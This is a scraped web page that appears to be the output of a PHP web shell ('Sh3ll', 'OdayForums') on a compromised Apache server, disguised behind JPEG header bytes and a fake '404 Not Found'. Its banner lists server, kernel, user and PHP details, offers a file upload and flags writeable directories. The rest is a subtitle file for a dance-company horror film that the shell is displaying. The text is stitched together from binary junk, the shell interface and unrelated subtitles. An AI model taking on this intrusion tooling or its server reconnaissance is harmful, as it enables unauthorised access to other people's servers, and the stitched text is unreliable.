����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/01-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/upload/subtitle/01-2019/5c50397aeff8e-1548761466.vtt
WEBVTT

1
00:00:47.251 --> 00:00:52.251
Subtitles by explosiveskull

2
00:01:23.519 --> 00:01:26.559
♪ 'Cause I'll be leaving
in the... ♪

3
00:01:42.399 --> 00:01:43.552
Patricia.

4
00:01:46.655 --> 00:01:51.455
♪ That I'll be leaving in the
fairest of the season ♪

5
00:01:52.287 --> 00:01:55.167
♪ Should I stay or should I go ♪

6
00:01:55.424 --> 00:01:58.495
So, I have a patient that is
coming in five minutes.

7
00:01:59.264 --> 00:02:01.856
I can ask him to come back
later, please.

8
00:02:04.639 --> 00:02:09.149
♪ 'Cause I'll be leaving in the
fairest of the season ♪

9
00:02:19.360 --> 00:02:21.280
♪ Leaving... In the... ♪

10
00:02:23.776 --> 00:02:27.969
This song, it's stuck
in my head, and it's so loud.

11
00:02:54.497 --> 00:02:56.606
They're going to try and keep
her alive after all.

12
00:02:56.608 --> 00:02:57.633
Markos?

13
00:03:36.833 --> 00:03:38.914
I have to tell Sara
to get out of there.

14
00:03:41.794 --> 00:03:44.160
She's the only girl
I actually give a damn about.

15
00:03:49.537 --> 00:03:52.544
If I leave without her they may
pick her next.

16
00:03:52.546 --> 00:03:54.111
Or Olga

17
00:03:54.113 --> 00:03:55.712
I should warn Olga, too.

18
00:03:58.818 --> 00:04:00.607
Olga's already figured out
things.

19
00:04:00.609 --> 00:04:02.914
She saw how they groomed me.

20
00:04:04.929 --> 00:04:08.193
There's more in that building
than what you can see.

21
00:04:18.466 --> 00:04:20.802
They've been underground
since the war.

22
00:04:25.825 --> 00:04:28.577
And you think
they can hear you now?

23
00:04:46.818 --> 00:04:52.578
At the beginning they gave me things.
Perfect balance, perfect sleep.

24
00:04:53.314 --> 00:04:55.616
Talking with our minds.

25
00:04:55.618 --> 00:04:57.634
But they took my hair.

26
00:04:59.426 --> 00:05:04.320
They took my urine. They took my
eyes!

27
00:05:04.322 --> 00:05:06.402
Now she can see me.

28
00:05:17.858 --> 00:05:22.018
♪ 'Cause I'll be leaving in the
fairest of the season ♪

29
00:05:22.627 --> 00:05:24.195
♪ I'll be leaving... ♪

30
00:05:26.498 --> 00:05:28.003
Mother Markos.

31
00:05:32.130 --> 00:05:34.562
Oh, she wants
to get inside of me.

32
00:05:35.778 --> 00:05:37.185
I can feel her.

33
00:05:37.187 --> 00:05:38.659
Oh, I thought I wanted it.

34
00:05:43.907 --> 00:05:45.698
I let it happen.

35
00:06:32.739 --> 00:06:35.138
If they find out I was here they
won't hesitate.

36
00:09:26.631 --> 00:09:27.782
Morning, pastor.

37
00:11:54.984 --> 00:11:58.311
- You're Miss Tanner.
- Yes, come in.

38
00:12:06.344 --> 00:12:07.369
<i>Nah?</i>

39
00:12:09.832 --> 00:12:14.345
I tried to call you at your hotel this
morning to ask you if you could reschedule.

40
00:12:15.944 --> 00:12:20.966
- Why?
- Company business. It's not a good time just today.

41
00:12:20.968 --> 00:12:22.504
But here you are.

42
00:13:02.633 --> 00:13:07.368
And six, and seven, and eight..

43
00:13:07.370 --> 00:13:09.672
Elbows up. And one...

44
00:13:10.953 --> 00:13:12.105
Come in, Susie.

45
00:13:15.913 --> 00:13:20.167
<i>Miss Millius and Miss Mandel are
the company's apetitas.</i>

46
00:13:20.169 --> 00:13:24.009
And Viva Blanc? I was told she
would be here.

47
00:13:24.425 --> 00:13:29.256
Oh dear, you have no
formal training or references.

48
00:13:29.258 --> 00:13:35.018
Your insistence to audition happened
to catch Madame Blanc on a good day.

49
00:13:35.786 --> 00:13:38.345
But you really shouldn't be here
at all.

50
00:13:39.114 --> 00:13:43.752
Do you understand? Yeah? Good.

51
00:13:57.673 --> 00:14:01.992
I prefer dancing without music.
<i>Danke shoen.</i>

52
00:14:01.994 --> 00:14:04.010
You can keep time
in your head, yes?

53
00:14:42.379 --> 00:14:49.193
Hypnos. Here we have the line between
the elbows. Face forward. Perfect.

54
00:14:49.195 --> 00:14:54.248
And morphos. Here, not so close
to the face.

55
00:14:54.250 --> 00:14:56.233
More like you're holding
a bird or something.

56
00:15:49.676 --> 00:15:53.897
- <i>..or something.</i>
<i>- They did it when we were in morning rehearsal.</i>

57
00:15:53.899 --> 00:15:55.817
<i>They just put her things in
shipping boxes.</i>

58
00:15:55.819 --> 00:15:58.601
<i>You don't think she had to go
underground, do you?</i>

59
00:15:58.603 --> 00:16:01.545
<i>I don't care what happened. I
just wanted a call.</i>

60
00:16:01.547 --> 00:16:02.604
<i>I'm really worried.</i>

61
00:16:05.548 --> 00:16:08.139
Fraulein Bannion. <i>Kommen Sie.</i>

62
00:16:13.259 --> 00:16:15.849
<i>I've just spoken with Madame
Blanc.</i>

63
00:16:15.851 --> 00:16:16.972
<i>Well done, Miss Bannion.</i>

64
00:16:22.635 --> 00:16:27.626
I imagine you will need to return home to settle
things and make arrangements for moving to Berlin.

65
00:16:27.628 --> 00:16:30.348
No, no, I can start right now.

66
00:16:31.372 --> 00:16:32.332
Good!

67
00:16:34.252 --> 00:16:38.634
This is Miss Boutaher, our
technical director.

68
00:16:38.636 --> 00:16:39.980
<i>Guten tag.</i>

69
00:16:41.068 --> 00:16:44.746
And this is Miss Vendegast, she
acts as house mother.

70
00:16:44.748 --> 00:16:47.020
...for our dancers
who reside here.

71
00:16:49.708 --> 00:16:51.499
Where do you come from?

72
00:16:52.077 --> 00:16:53.549
Ohio.

73
00:16:59.308 --> 00:17:04.266
We operate as sort of a cooperative, as
we cannot pay our dancers a lot of money.

74
00:17:04.268 --> 00:17:07.149
We offer dormatory style homes,
rent free.

75
00:17:07.437 --> 00:17:10.027
You don't charge anything at
all?

76
00:17:10.029 --> 00:17:11.148
Not a mark.

77
00:17:15.117 --> 00:17:21.516
In this company we fully understand the
importance of a woman's financial autonomy.

78
00:17:23.308 --> 00:17:28.109
Normally we would be full at this time
of year, but we have had a room open.

79
00:17:28.812 --> 00:17:30.157
Yeah. Patricia's.

80
00:17:31.149 --> 00:17:33.322
Do you know Patricia?

81
00:17:33.324 --> 00:17:34.509
Mmm...

82
00:17:36.238 --> 00:17:39.790
No, I heard some girls talking
about her in the hall.

83
00:17:42.670 --> 00:17:50.381
Now that you're one of us, I won't be coy. Patricia
has just left the company under sad circumstances.

84
00:17:51.149 --> 00:17:54.286
We think she won't be back, so
there's room if you want.

85
00:17:54.478 --> 00:17:58.509
We'll send you one of our girls
to help you with your luggage.

86
00:17:59.278 --> 00:18:02.603
After lunch? It's alright for
you?

87
00:18:02.605 --> 00:18:10.347
Yes! It's all... yes. It's
perfect.

88
00:18:33.390 --> 00:18:36.716
- Hello, hi, I'm sorry I'm late. It's the rain.
- Hi.

89
00:18:36.718 --> 00:18:40.972
Whenever it rains, everyone jumps in a
cab and like an idiot I just let ours go.

90
00:18:40.974 --> 00:18:44.397
Hi, I'm Sara, and we're going to have
to take our chances on the street.

91
00:18:44.399 --> 00:18:45.803
Do you have an umbrella?

92
00:18:45.805 --> 00:18:51.116
Oh, when you weren't here by 6, I had
to take the room for another night.

93
00:18:51.118 --> 00:18:54.412
God, Susie, I'm sorry, everything
was a mess at the company today.

94
00:18:54.414 --> 00:18:56.876
Why are you smiling?

95
00:18:56.878 --> 00:19:02.924
I'm sorry, um, when you said Berlin a
second ago you said everyone in Berlin

96
00:19:02.926 --> 00:19:07.821
and I just thought, that includes
me now, I live in Berlin.

97
00:19:08.399 --> 00:19:11.791
Yes, congrats. I heard you were
a sensation today.

98
00:19:12.782 --> 00:19:14.446
Have you called your
family yet, to tell them?

99
00:19:16.334 --> 00:19:18.190
Miss Blanc came
into my audition.

100
00:19:19.919 --> 00:19:23.757
- But she left right after.
- She's incredible.

101
00:19:23.759 --> 00:19:29.806
The way she transmits her work, her energy. When it
shines on you it's addictive is the word for it.

102
00:19:30.031 --> 00:19:33.836
She's tough. She kept the
company alive through the war.

103
00:19:33.838 --> 00:19:37.039
When the right just wanted women to shut off
their minds and keep their uteruses open.

104
00:19:37.999 --> 00:19:39.949
There was Blanc.

105
00:19:39.951 --> 00:19:41.871
Thank you.

106
00:19:43.663 --> 00:19:45.325
What? Was that French?

107
00:19:55.439 --> 00:19:58.255
It's a bomb! I can smell it.

108
00:19:59.087 --> 00:20:00.175
There's a bank that way.

109
00:20:02.703 --> 00:20:04.623
Don't you know what's happening
here?

110
00:20:05.455 --> 00:20:09.133
The hijackers are negotiating the
release of the prisoners tonight.

111
00:20:09.135 --> 00:20:12.302
The RAF. Baader Meinhoff.

112
00:20:13.584 --> 00:20:17.549
They kidnapped an executive,
during war, the Nazi SS

113
00:20:17.551 --> 00:20:23.853
an officer, and now he run's the
German employer's association.

114
00:20:23.855 --> 00:20:25.647
You don't get how awful that is,
do you?

115
00:20:31.920 --> 00:20:33.071
I'm sorry.

116
00:20:34.319 --> 00:20:36.333
I'm just worried about my
friend.

117
00:21:41.041 --> 00:21:41.872
<i>Danke shoen.</i>

118
00:26:42.933 --> 00:26:44.403
Bedrooms are on the second
floor.

119
00:27:02.037 --> 00:27:06.867
Why don't you try speaking to
me like you love me? Hm?

120
00:27:06.869 --> 00:27:10.931
For a change?

121
00:27:10.933 --> 00:27:16.084
This is my room. And here... is
yours!

122
00:27:16.086 --> 00:27:18.869
We're neighbors

123
00:27:20.373 --> 00:27:22.357
You can knock on the wall if you
ever need anything.

124
00:28:46.262 --> 00:28:52.983
- Good morning. Good morning.
- Hello. - Good morning.

125
00:28:54.967 --> 00:28:56.599
How's your knee? Okay?

126
00:28:59.638 --> 00:29:01.622
Thank you.

127
00:29:07.766 --> 00:29:13.781
We have some happier company
business today, we have a new dancer.

128
00:29:13.783 --> 00:29:17.301
This is Susie Bannion, who is
joining us from America.

129
00:29:17.303 --> 00:29:22.133
I was privileged to witness her audition
yesterday, we are very lucky to have her.

130
00:29:22.135 --> 00:29:23.735
Would you like
to say something, Susie?

131
00:29:26.199 --> 00:29:29.493
Um, I don't know.

132
00:29:29.495 --> 00:29:33.782
Hello

133
00:29:33.784 --> 00:29:36.245
I feel like I'm not even here
yet, I don't know.

134
00:29:36.247 --> 00:29:43.381
You join in whenever you feel ready, but
there's no rush. Welcome to our little family.

135
00:29:43.383 --> 00:29:45.846
- I'm Susie.
- Hi.

136
00:29:45.848 --> 00:29:50.646
Alright, so for today's rehearsal, I want to
pick up exactly where we left off with Volk.

137
00:29:50.648 --> 00:29:54.261
I've spoken with Olga, and she's
going to dance Patricia's part.

138
00:29:54.263 --> 00:30:00.054
And, Sara, I'd like you to dance
Olga's part.

139
00:30:00.056 --> 00:30:05.333
Is everyone happy with that? Ok,
good.

140
00:30:17.207 --> 00:30:20.757
No, no no, music off please! One
moment.

141
00:30:20.759 --> 00:30:27.030
Ok, so, and one and two and three.
You pull it from the ground, alright?

142
00:30:27.032 --> 00:30:32.309
Gravity, remember. And everyone
from here, please? And Tanner

143
00:30:32.311 --> 00:30:39.992
One and two and three. And one and two
and three

144
00:30:51.160 --> 00:30:56.439
- This is shit. Such shit.
- Ok.

145
00:30:56.441 --> 00:30:58.361
Ok, why don't we all break for
ten minutes.

146
00:30:59.768 --> 00:31:04.246
- You can't even be bothered to respect your lies
- Miss Ivanova!

147
00:31:04.248 --> 00:31:06.359
No no no no no. It's ok.

148
00:31:06.361 --> 00:31:07.832
Let's face this.

149
00:31:09.880 --> 00:31:16.759
Patricia is gone, Olga. We don't know where. If she's
gone into hiding, she wouldn't have told us, would she?

150
00:31:16.761 --> 00:31:22.102
- She was have told someone.
- We know she had dealings with people who were interested in targets.

151
00:31:22.104 --> 00:31:25.527
- We know there was another bomb in Kreuzberg last night.
- She wouldn't do that.

152
00:31:25.529 --> 00:31:31.287
Shhshhshh. She wanted to live her beliefs.
Who doesn't admire that?

153
00:31:31.289 --> 00:31:38.871
There's so much to change in the world. If she wants to live
in a cellar filling bottles with petrol, that's her choice.

154
00:31:38.873 --> 00:31:42.519
And who won't be heartbroken if
she's shot by police.

155
00:31:42.521 --> 00:31:45.272
You manipulate everything.

156
00:31:47.769 --> 00:31:50.487
- She didn't trust you because
you are hypocrites!

157
00:31:50.489 --> 00:31:54.295
- Will you take Olga
to her room, please, Tanner?

158
00:31:54.297 --> 00:31:55.993
No, Miss Tanner!

159
00:31:57.306 --> 00:32:00.441
Call Olga a cab. She's had
enough.

160
00:32:01.081 --> 00:32:06.391
And is going to pack her things and
get the fuck out of this box of rabies.

161
00:32:22.361 --> 00:32:24.793
I'm sorry about that.

162
00:32:26.649 --> 00:32:28.281
It's a hot thing we do.

163
00:32:33.562 --> 00:32:37.688
Ok, so, who will dance the
protagonist?

164
00:32:37.690 --> 00:32:42.040
- Sonja?
- I can't. Not yet.

165
00:32:42.042 --> 00:32:43.321
Caroline?

166
00:32:47.291 --> 00:32:52.792
Very well. We'll manage. I suggest
that we all take it from the top.

167
00:32:52.794 --> 00:32:54.329
I'll dance.

168
00:33:03.611 --> 00:33:06.136
I know it. It's in the
documentary.

169
00:33:06.138 --> 00:33:08.378
I-I've seen it a hundred times
at the library.

170
00:33:11.290 --> 00:33:13.944
Sweetheart, we rehearsed this
piece

171
00:33:13.946 --> 00:33:16.602
for ten months
before we performed it.

172
00:33:17.882 --> 00:33:23.673
- I've seen it in person too.
- First do it alone, then.

173
00:33:23.675 --> 00:33:26.649
We don't want to put the others
at risk.

174
00:33:26.651 --> 00:33:28.855
The last thing we need

175
00:33:28.857 --> 00:33:32.186
is someone to get kicked
in the ribs.

176
00:33:36.122 --> 00:33:37.722
All right?

177
00:34:32.763 --> 00:34:35.770
Ok, stop. Stop, stop.

178
00:34:35.772 --> 00:34:43.193
Alright. Clear your head. I want you
to start over. Have you stretched?

179
00:34:43.195 --> 00:34:44.987
This is no joke.

180
00:35:14.460 --> 00:35:16.315
Olga.

181
00:36:18.173 --> 00:36:19.709
<i>Olga.</i>

182
00:36:22.141 --> 00:36:26.076
<i>Come over here! Come.</i>

183
00:36:26.078 --> 00:36:27.996
<i>Come to me.</i>

184
00:36:53.053 --> 00:37:00.636
Remember you start on one with the music, and if you
feel ill at any time, just stop. You start here.

185
00:37:00.638 --> 00:37:01.661
And...

186
00:38:00.254 --> 00:38:02.108
Louder!

187
00:38:09.469 --> 00:38:11.583
Bravo. Bravo, Susie.

188
00:40:18.497 --> 00:40:19.648
It'll pass.

189
00:40:20.608 --> 00:40:22.016
You're not the first dancer who
lost the room.

190
00:40:27.519 --> 00:40:29.373
I'm not usually dizzy.

191
00:40:29.375 --> 00:40:32.256
An occasional collapse is a
vocational hazard I'm afraid.

192
00:40:32.832 --> 00:40:35.712
I... I didn't... I
didn't collapse.

193
00:40:36.289 --> 00:40:39.168
You're on the floor and that's
not where the dance ends.

194
00:40:42.497 --> 00:40:45.246
I was trying not to throw up
in your studio.

195
00:40:45.248 --> 00:40:47.809
Susie, it's fine.
It was wonderful.

196
00:40:48.769 --> 00:40:52.127
Sara, could you take her to her
room please?

197
00:40:52.129 --> 00:40:54.464
You can rest
for the rest of the day.

198
00:41:06.305 --> 00:41:09.345
- How unlikely.
- <i>OK, come on girls. Let's go.</i>

199
00:41:10.208 --> 00:41:12.991
<i>And one, and two, and three.</i>

200
00:41:12.993 --> 00:41:14.369
And...

201
00:42:03.010 --> 00:42:05.441
No, Susie. We have to study
America.

202
00:42:07.682 --> 00:42:09.314
I said no.

203
00:42:12.097 --> 00:42:13.313
Susanna.

204
00:46:06.725 --> 00:46:08.229
You don't look better.

205
00:46:08.645 --> 00:46:11.013
Or are you this pale
all the time?

206
00:46:12.261 --> 00:46:13.893
I will leave you.

207
00:46:15.237 --> 00:46:16.293
Good night.

208
00:46:25.734 --> 00:46:28.805
The Amish split from the
Mennonites in the 17th century.

209
00:46:29.509 --> 00:46:32.293
They were worried the Mennonites
were becoming too liberal.

210
00:46:33.253 --> 00:46:35.045
"They", not "we"?

211
00:46:35.526 --> 00:46:38.117
You've left religious thinking
behind you then?

212
00:46:38.662 --> 00:46:41.348
Are you not comfortable talking
about these things?

213
00:46:41.350 --> 00:46:43.270
I don't know why we are.

214
00:46:43.462 --> 00:46:45.347
It's difficult not to be curious
about you.

215
00:46:45.349 --> 00:46:49.638
In two days you've auditioned,
been accepted and danced a lead.

216
00:46:51.014 --> 00:46:53.445
How did your journey towards us
begin?

217
00:46:53.990 --> 00:46:56.870
I went to New York, to the
Martha Graham Center.

218
00:46:57.734 --> 00:47:00.166
I saw you there three times.

219
00:47:00.678 --> 00:47:04.868
I went once by bus and I
hitchhiked the other two.

220
00:47:04.870 --> 00:47:06.470
That's risky.

221
00:47:07.781 --> 00:47:09.701
Were you punished?

222
00:47:10.661 --> 00:47:12.038
Yeah.

223
00:47:13.031 --> 00:47:15.430
But I felt I had to see you.

224
00:47:23.783 --> 00:47:29.541
What did it feel today to dance <i>Volk</i>
in front of the one who made it?

225
00:47:29.543 --> 00:47:33.606
I know that's a vain question.
Let me ask you another.

226
00:47:33.895 --> 00:47:38.213
When you were dancing
what did it feel like

227
00:47:38.215 --> 00:47:41.638
inside you, inside your body?

228
00:47:46.823 --> 00:47:51.175
It felt like what I think it
must feel like to fuck.

229
00:47:51.623 --> 00:47:53.412
You mean to fuck a man.

230
00:47:53.414 --> 00:47:57.413
No, I...
was thinking of an animal.

231
00:48:05.511 --> 00:48:07.239
You looked...

232
00:48:17.544 --> 00:48:20.934
I'm going to ask Caroline to
work on your jumps with you.

233
00:48:20.936 --> 00:48:24.005
Yours are nowhere near good
enough yet.

234
00:48:24.007 --> 00:48:25.703
We'll have to build you up.

235
00:48:27.079 --> 00:48:30.982
So that I can dance the
protagonist when you perform it.

236
00:48:30.984 --> 00:48:34.662
I need to see you dance at this
level time and time again.

237
00:48:34.664 --> 00:48:35.719
I can do it.

238
00:48:41.415 --> 00:48:44.295
Olga made <i>Volk</i> seem like such
heavy lifting.

239
00:48:46.151 --> 00:48:48.487
She never understood the heart
of <i>Vol</i>.

240
00:48:50.695 --> 00:48:52.902
She lacked conviction.

241
00:48:52.904 --> 00:48:54.696
I'm relieved she's gone.

242
00:48:56.552 --> 00:48:59.367
Thank you for your help
with that.

243
00:49:05.863 --> 00:49:12.776
Madame Blanc wants me to dance
the protagonist in <i>Volk.</i>

244
00:49:15.111 --> 00:49:17.543
I didn't think it was going to
be like this.

245
00:49:18.792 --> 00:49:21.702
She's so kind.

246
00:49:21.704 --> 00:49:23.303
That's wonderful.

247
00:49:27.177 --> 00:49:28.456
Are you all right?

248
00:49:30.344 --> 00:49:33.128
I'm fine. I was just...

249
00:49:35.656 --> 00:49:40.360
I was just thinking about what Olga
said in rehearsal... about Patricia.

250
00:49:40.777 --> 00:49:43.238
What do you mean?

251
00:49:43.240 --> 00:49:46.537
She was active
in some political groups.

252
00:49:48.457 --> 00:49:51.337
No one knows where she is
really, if she's all right.

253
00:49:53.096 --> 00:49:57.321
Was it true... what Olga said?

254
00:49:59.305 --> 00:50:00.616
Yes.

255
00:50:01.800 --> 00:50:04.296
Patricia didn't trust
the matrons.

256
00:50:05.673 --> 00:50:07.753
And I never understood why.

257
00:50:11.497 --> 00:50:14.695
If I asked you for a favor
tomorrow would you do it?

258
00:50:14.697 --> 00:50:15.848
Yes.

259
00:50:22.857 --> 00:50:25.129
We might get caught.

260
00:50:26.153 --> 00:50:27.113
Okay.

261
00:51:12.106 --> 00:51:13.736
<i>Mother. Mother.</i>

262
00:51:18.698 --> 00:51:20.297
<i>Mother. Mother.</i>

263
00:51:23.690 --> 00:51:24.648
<i>Susanna.</i>

264
00:52:59.788 --> 00:53:00.939
- <i>Guten Morgen.</i>
- <i>Guten Morgen.</i>

265
00:53:02.539 --> 00:53:04.075
<i>Guten Morgen.</i>

266
00:53:15.883 --> 00:53:17.707
<i>Okay, well, let's meet soon.</i>

267
00:53:21.483 --> 00:53:24.363
<i>Yeah, right across from...</i>

268
00:53:24.715 --> 00:53:27.467
<i>Yeah, no, I'm ready. I'm
almost out the door.</i>

269
00:53:30.764 --> 00:53:33.035
- <i>I'll see you soon.</i>
- <i>Marketa.</i>

270
00:53:34.284 --> 00:53:37.611
- Marketa, come on.
- I'll see you soon.

271
00:53:39.499 --> 00:53:40.459
Come on.

272
00:53:58.284 --> 00:53:59.788
Come, come, come.

273
00:54:10.380 --> 00:54:13.129
Are you sure no one's coming?

274
00:54:13.131 --> 00:54:15.274
Oh, I'm sure. Don't worry.

275
00:54:15.276 --> 00:54:17.261
Nobody comes here
during the weekend.

276
00:54:44.429 --> 00:54:45.899
Patricia's isn't here.

277
00:54:45.901 --> 00:54:47.757
Try looking for Olga's.

278
00:54:48.653 --> 00:54:49.964
Olga...

279
00:54:50.829 --> 00:54:52.076
She's not here.

280
00:54:54.030 --> 00:54:55.818
I just need a number.

281
00:54:55.820 --> 00:54:57.098
For her parents.

282
00:54:57.100 --> 00:54:59.693
Or someone who can tell me for
sure she is or isn't in Berlin.

283
00:55:21.422 --> 00:55:22.540
How odd.

284
00:55:27.181 --> 00:55:28.395
1961.

285
00:55:30.253 --> 00:55:31.725
1955.

286
00:55:33.422 --> 00:55:35.085
1949.

287
00:55:36.718 --> 00:55:37.869
It's bizarre.

288
00:55:40.462 --> 00:55:44.620
<i>Here kitty, kitty, kitty.
Here kitty, kitty, kitty, kitty.</i>

289
00:56:29.934 --> 00:56:32.366
There's nothing. Come on.

290
00:56:36.718 --> 00:56:39.022
Sit down.

291
00:56:43.279 --> 00:56:51.628
This morning we turn our instincts inward. Miss Milius,
Miss Mandel, can you close the mirrors please?

292
00:56:51.630 --> 00:56:52.654
Miss Marks, no music.

293
00:57:01.263 --> 00:57:07.342
I want to start work on a new
piece, a piece about rebirths.

294
00:57:07.758 --> 00:57:13.199
The inevitable pull that they exert,
and our efforts to escape them.

295
00:57:14.702 --> 00:57:20.142
We learn it now, but Susie, you
will improvise freely at its heart.

296
00:57:20.591 --> 00:57:22.383
I'm interested
in your instincts here.

297
00:57:32.240 --> 00:57:37.422
The piece will be called <i>Wieder
Offnen</i>, Open Again.

298
00:57:37.679 --> 00:57:38.927
<i>Allez.</i>

299
00:57:45.679 --> 00:57:53.069
<i>One, two, three, four,
one, two, three, four...</i>

300
00:58:45.296 --> 00:58:46.894
One.

301
01:00:26.194 --> 01:00:28.079
Did something happen?

302
01:00:28.081 --> 01:00:30.257
- Hmm?
- To you, during it?

303
01:00:31.954 --> 01:00:33.105
No.

304
01:00:34.546 --> 01:00:36.113
Did you... did you...

305
01:00:37.169 --> 01:00:39.889
Did you feel something there?

306
01:00:41.490 --> 01:00:44.047
Someone?

307
01:00:44.049 --> 01:00:45.650
Or just something.

308
01:00:46.929 --> 01:00:48.815
What made you say that?

309
01:00:48.817 --> 01:00:49.938
I don't know.

310
01:00:52.787 --> 01:00:55.506
Am I confusing you?

311
01:00:56.498 --> 01:00:58.225
No, it's, um...

312
01:00:59.218 --> 01:01:01.424
It's odd... It's the...

313
01:01:01.426 --> 01:01:04.306
The sort of thing Patricia would
say. Bizarre.

314
01:01:06.226 --> 01:01:07.186
Come on.

315
01:01:08.209 --> 01:01:09.904
Let's get changed or Sonia will
leave without us.

316
01:01:09.906 --> 01:01:11.152
I've got a dress you can wear.

317
01:01:11.154 --> 01:01:12.465
Double caposhi.

318
01:01:27.186 --> 01:01:29.168
<i>Susie!</i>

319
01:01:40.051 --> 01:01:41.747
Oh, Susie!

320
01:03:26.677 --> 01:03:28.149
<i>Is it true?</i>

321
01:04:00.885 --> 01:04:02.484
Is it true?

322
01:04:07.988 --> 01:04:09.748
I know who I am!

323
01:04:11.349 --> 01:04:13.269
I know who I am!

324
01:04:18.517 --> 01:04:22.067
It's all right. It's OK.

325
01:04:22.069 --> 01:04:24.083
Is she all right?

326
01:04:24.085 --> 01:04:25.010
It's just a nightmare.

327
01:04:25.012 --> 01:04:27.091
Markos company special.

328
01:04:27.093 --> 01:04:28.980
I'm surprised it took this long.

329
01:04:28.982 --> 01:04:31.188
Hey, let me know
if she needs a Valium.

330
01:04:38.677 --> 01:04:41.363
She's right. I dreamt of
hairballs and toilets

331
01:04:41.365 --> 01:04:44.149
for three weeks before I got
a decent night of sleep here.

332
01:04:46.005 --> 01:04:46.997
Move over.

333
01:04:58.390 --> 01:05:01.652
I've only ever slept in bed with
my sister.

334
01:05:01.654 --> 01:05:03.285
We're sisters now.

335
01:06:54.807 --> 01:06:56.759
Herr Klemperer?

336
01:09:05.561 --> 01:09:10.359
And one, and two, and three,
and one, and two, and three...

337
01:09:28.921 --> 01:09:30.361
Do you want to do the jumps?

338
01:09:31.482 --> 01:09:32.793
OK

339
01:09:33.945 --> 01:09:40.632
And one, and two, and three,
and one, and two, and three

340
01:09:40.634 --> 01:09:43.258
No, elbows higher.

341
01:09:43.514 --> 01:09:44.951
All right, one moment.

342
01:09:44.953 --> 01:09:48.760
Susie, part of the jump is muscle,
and that will develop as you condition

343
01:09:48.762 --> 01:09:51.991
but you seem to have an aversion
to them and I don't quite see why.

344
01:09:51.993 --> 01:09:54.873
Are you so happy to be stuck to the earth?

345
01:09:55.194 --> 01:09:58.872
There's a yield before the push which I
don't think you're quite understanding.

346
01:09:58.874 --> 01:10:02.010
Caroline. Could you come and do
a series for us, please?

347
01:10:17.881 --> 01:10:18.489
Thank you.

348
01:10:19.994 --> 01:10:21.210
And now you.

349
01:10:46.363 --> 01:10:51.673
What I really want is to be on
the floor right now anyway.

350
01:10:51.675 --> 01:10:57.496
Well, of course. That's because you're mistaking
physical weakness with artistic preference.

351
01:10:57.498 --> 01:10:59.161
And because you're tired.

352
01:11:02.683 --> 01:11:08.441
At this point, the jumps are opposing
the pull of the structure but...

353
01:11:08.443 --> 01:11:11.288
It's soon for that,
don't you think?

354
01:11:11.290 --> 01:11:16.632
The floor work is-is keeping
the other dancers pushed down...

355
01:11:16.634 --> 01:11:21.435
So this-this could echo that.

356
01:11:26.171 --> 01:11:29.850
...on-on a slightly higher
point of elevation.

357
01:11:32.315 --> 01:11:36.956
If I stay close to the ground now, and go
straight into the jumps where you have them later

358
01:11:37.755 --> 01:11:42.041
Then that's more to the point.

359
01:11:42.043 --> 01:11:46.617
The resistance is more emphatic.

360
01:11:46.619 --> 01:11:47.740
Right?

361
01:11:51.035 --> 01:11:56.057
I don't know how aware you are

362
01:11:56.059 --> 01:11:59.195
of what times we lived through
here 40 years ago.

363
01:12:01.916 --> 01:12:03.707
Out of which
this piece was made.

364
01:12:05.275 --> 01:12:10.842
We learned a great cost through those
years, the value of the balance of things.

365
01:12:10.844 --> 01:12:15.961
Every arrow that flies
feels the pull of the earth.

366
01:12:15.963 --> 01:12:17.883
But we must aim upwards.

367
01:12:20.027 --> 01:12:21.755
We need to get you in the air.

368
01:12:39.612 --> 01:12:41.562
Leave her, leave her, leave her!

369
01:13:15.773 --> 01:13:17.052
I heard it. I hope...

370
01:13:26.685 --> 01:13:30.523
I'm looking for a dancer
from your company.

371
01:13:30.525 --> 01:13:32.157
Who are you looking for?

372
01:13:33.213 --> 01:13:34.813
You are Sara.

373
01:13:37.245 --> 01:13:40.411
Yes. May I help you?

374
01:13:40.413 --> 01:13:43.388
I am a friend from Patricia.

375
01:14:04.508 --> 01:14:06.683
I don't know what to make of
any of this.

376
01:14:06.685 --> 01:14:11.803
I know the kind of thing she was involved with, but I can't
see how any of this woud be happening inside the company.

377
01:14:11.805 --> 01:14:21.371
Well, she describes something like a revolutionary
organization and a crisis of leadership.

378
01:14:21.373 --> 01:14:24.253
With Markos very ill...

379
01:14:26.014 --> 01:14:31.260
I live there. I have friends there.
I don't see any evidence of this at all.

380
01:14:31.262 --> 01:14:34.556
No one has ever approached me or any
of the other girls as far as I know.

381
01:14:34.558 --> 01:14:36.478
Well, read this.

382
01:14:37.277 --> 01:14:38.556
What is this?

383
01:14:38.558 --> 01:14:40.414
This is Patricia's diary.

384
01:14:42.206 --> 01:14:46.364
Mother Markos, mother Meinhof

385
01:14:46.366 --> 01:14:49.948
The dance rehearsal,
polital action

386
01:14:49.950 --> 01:14:54.654
these two areas in Patricia's
life were of equal importance.

387
01:14:55.518 --> 01:14:56.798
This is how transformation
happens.

388
01:14:58.559 --> 01:15:01.724
How delusion is made.

389
01:15:01.726 --> 01:15:05.758
Delusions are lies
that tell the truth.

390
01:15:07.134 --> 01:15:09.150
- This says "witches."
- Mmm.

391
01:15:10.367 --> 01:15:15.516
Maybe Patricia's fantasies
about witches

392
01:15:15.518 --> 01:15:20.766
they are her way of processing
some other form of intrigue.

393
01:15:23.518 --> 01:15:28.316
The company's a family. There's
a lot of love there.

394
01:15:28.318 --> 01:15:36.893
Love and manipulations, they share houses
very often. They're frequent bedfellows.

395
01:15:36.895 --> 01:15:38.654
Sorry, I don't see this.

396
01:15:43.262 --> 01:15:44.222
Eat.

397
01:15:46.334 --> 01:15:47.294
Eat.

398
01:15:55.999 --> 01:15:56.959
Only...

399
01:15:58.783 --> 01:16:01.534
maybe the police,
they missed something.

400
01:16:02.590 --> 01:16:10.141
Our Patricia, she did spoke of
whole hidden areas of the building.

401
01:16:10.143 --> 01:16:13.055
Actual rooms that are secret.

402
01:16:18.399 --> 01:16:22.717
I don't want to be
disrespectful. I don't.

403
01:16:22.719 --> 01:16:25.117
- But you're asking me and I'm telling you.
- Oh, please.

404
01:16:25.119 --> 01:16:27.999
It's a dance company. We're not
talking about anything else.

405
